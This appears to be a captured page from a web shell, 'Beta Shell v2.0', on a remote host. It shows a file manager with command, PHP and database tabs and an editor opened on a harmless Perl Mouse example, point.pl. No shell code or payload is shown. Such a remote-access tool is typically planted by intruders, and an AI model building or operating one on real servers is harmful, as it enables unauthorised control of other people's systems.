Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
doc
/
perl-Mouse
/
example
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
point.pl
772 B
-rw-r--r--
2019-10-27 19:43:23
Edit
Del
traits.pl
438 B
-rw-r--r--
2019-10-27 19:43:23
Edit
Del
warns.pl
472 B
-rw-r--r--
2019-10-27 19:43:23
Edit
Del
Editing: point.pl
(772 B)
Path: /usr/share/doc/perl-Mouse/example/point.pl
Back
#!/usr/bin/perl package Point; use Mouse; has 'x' => (isa => 'Int', is => 'rw', required => 1); has 'y' => (isa => 'Int', is => 'rw', required => 1); sub clear { my $self = shift; $self->x(0); $self->y(0); } package Point3D; use Mouse; extends 'Point'; has 'z' => (isa => 'Int', is => 'rw', required => 1); after 'clear' => sub { my $self = shift; $self->z(0); }; package main; # hash or hashrefs are ok for the constructor my $point1 = Point->new(x => 5, y => 7); my $point2 = Point->new({x => 5, y => 7}); my $point3d = Point3D->new(x => 5, y => 42, z => -5); print "point1: ", $point1->dump(); print "point2: ", $point2->dump(); print "point3: ", $point3d->dump(); print "point3d->clear()\n"; $point3d->clear(); print "point3: ", $point3d->dump();